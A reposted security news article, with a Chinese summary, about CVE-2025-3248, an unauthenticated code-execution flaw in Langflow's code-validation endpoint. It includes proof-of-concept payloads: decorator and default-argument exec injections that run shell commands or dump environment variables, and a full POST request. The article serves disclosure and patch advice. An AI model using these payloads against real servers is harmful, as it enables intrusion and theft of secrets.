Langflow零日漏洞CVE-2025-3248:远程代码执行威胁
Langflow平台发现严重远程代码执行漏洞(CVE-2025-3248),CVSS评分9.8。该漏洞影响所有1.3.0以下版本,攻击者可无需认证执行任意命令。漏洞源于/api/v1/validate/code端点不当使用Python的exec()函数且缺乏认证与沙盒保护。恶意代码通过函数装饰器或默认参数值注入。建议立即升级至1.3.0或更高版本,并采取网络分段和零信任架构等措施以缓解风险。 2025-4-24 12:4:12 Author: cybersecuritynews.com(查看原文) 阅读量:15 收藏

Critical Langflow Vulnerability Allows Malicious Code Injection – Technical Details Revealed

Cybersecurity researchers have uncovered a critical remote code execution (RCE) vulnerability in Langflow, an open-source platform widely used for visually composing AI-driven agents and workflows.

Designated as CVE-2025-3248, this high-severity vulnerability carries a CVSS score of 9.8, placing it in the critical range.

The security flaw affects all Langflow versions prior to 1.3.0 and enables attackers to execute arbitrary commands on vulnerable servers without requiring authentication, potentially compromising sensitive data and systems.

Google News

The vulnerability specifically targets Langflow’s /api/v1/validate/code endpoint, which improperly invokes Python’s built-in exec() function on user-supplied code.

This implementation lacks proper authentication checks and sandboxing protections, creating a dangerous attack surface for malicious actors.

Organizations leveraging Langflow in their AI development workflows face significant risks as attackers can exploit this flaw to gain unauthorized system access and execute commands with the privileges of the application server.

Zscaler researchers identified that the vulnerability stems from Python’s behavior during function definition processing, where decorators and default argument values are evaluated immediately.

This characteristic allows malicious code embedded within these structures to execute during the Abstract Syntax Tree (AST) processing phase.

The researchers emphasized that this vulnerability demonstrates the critical importance of implementing proper authentication and sandboxing measures when working with dynamic code execution.

The exploit allows attackers to target publicly accessible Langflow instances or compromise internal deployments through various attack vectors.

Once access is gained, attackers can leverage the vulnerable endpoint to establish persistent access, exfiltrate data, or move laterally within affected networks.

Security professionals are urged to address this vulnerability immediately given its accessibility and the ease with which it can be exploited.

Examining the technical implementation reveals that Langflow’s code validation mechanism attempts to parse user-submitted code into an AST before evaluating specific components, including function definitions.

This process involves importing specified modules and executing function definitions to validate their structure, but critically fails to restrict the execution context.

Exploitation Mechanism

The attack leverages Python’s function definition behavior in creative ways to achieve code execution.

When Langflow processes code through its validation endpoint, attackers can inject malicious payloads using two primary methods.

The first approach embeds commands within function decorators, which execute immediately during code processing. For example:-

@exec("import os; os.system('id > /tmp/pwned')")
def foo():
    pass

The second method utilizes default argument values in function definitions, which are also evaluated during the AST processing phase:

def foo(cmd=exec("__import__('subprocess').check_output(['env'])")):
    pass

Exploitation occurs when an attacker sends these payloads to the vulnerable endpoint via a POST request:-

POST /api/v1/validate/code HTTP/1.1
Host: vuln-test-langflow.example.com
Content-Type: application/json
Content-Length: 172
{
    "code": "@exec(\"with open('hacked.txt', 'w') as f: f.write('The server has been compromised')\")\ndef foo():\n        pass"
}
Attack chain (Source – Zscaler)

The complete attack chain showing how attackers progress from targeting the vulnerable endpoint to achieving code execution on the server.

While the server’s response appears benign, the malicious code executes silently in the background, potentially creating backdoors or exfiltrating data.

Organizations using Langflow are strongly advised to upgrade immediately to version 1.3.0 or later, which requires authentication for the vulnerable endpoint.

Additionally, implementing network segmentation, restricting access through zero-trust architecture, and deploying monitoring solutions can help mitigate the risk while upgrades are being implemented.

Malware Trends Report Based on 15000 SOC Teams Incidents, Q1 2025 out!-> Get Your Free Copy


文章来源: https://cybersecuritynews.com/critical-langflow-vulnerability-allows-malicious-code-injection/
如有侵权请联系:admin#unsafe.sh